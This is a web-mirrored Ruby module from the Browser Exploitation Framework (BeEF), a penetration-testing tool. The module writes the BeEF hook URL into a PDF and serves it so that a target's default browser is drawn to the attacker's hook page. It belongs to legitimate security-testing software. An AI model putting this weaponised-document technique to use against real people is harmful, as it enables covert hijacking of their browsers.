Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/hook_default_browser/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
7
class Hook_default_browser < BeEF::Core::Command
8
def self.options
9
configuration = BeEF::Core::Configuration.instance
10
proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
11
hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html"
12
# @todo why is this commented out?
13
[
14
# {'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri },
15
]
16
end
17
18
def pre_send
19
# Get the servers configurations.
20
configuration = BeEF::Core::Configuration.instance
21
proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
22
23
# The hook url to be replace the token in the original pdf file.
24
hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}/demos/report.html"
25
26
# A new pdf file containg the actual hook URI instead of the dummy token.
27
configured_hook_file = File.open('./modules/host/hook_default_browser/bounce_to_ie_configured.pdf', 'w')
28
29
# The original pdf file contains a token that will get replaced during the initialization with
30
# the actual hook URI of beef. Note that the hook URI is accessed via the DNS name.
31
File.open('./modules/host/hook_default_browser/bounce_to_ie.pdf', 'r') do |original_hook_file|
32
original_hook_file.each_line do |line|
33
# If the line includes the hook token, then replace it with the actual hook URI
34
line = line.sub(/<hookURI>/, hook_uri) if line.include? '<hookURI>'
35
# write the line to a new file
36
configured_hook_file.write(line)
37
end
38
end
39
40
configured_hook_file.close
41
42
# Bind the configured PDF file to the web server.
43
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/hook_default_browser/bounce_to_ie_configured.pdf', '/report', 'pdf', -1)
44
end
45
46
def post_execute
47
content = {}
48
content['result'] = @datastore['result']
49
50
save content
51
# update_zombie!
52
end
53
end
54
55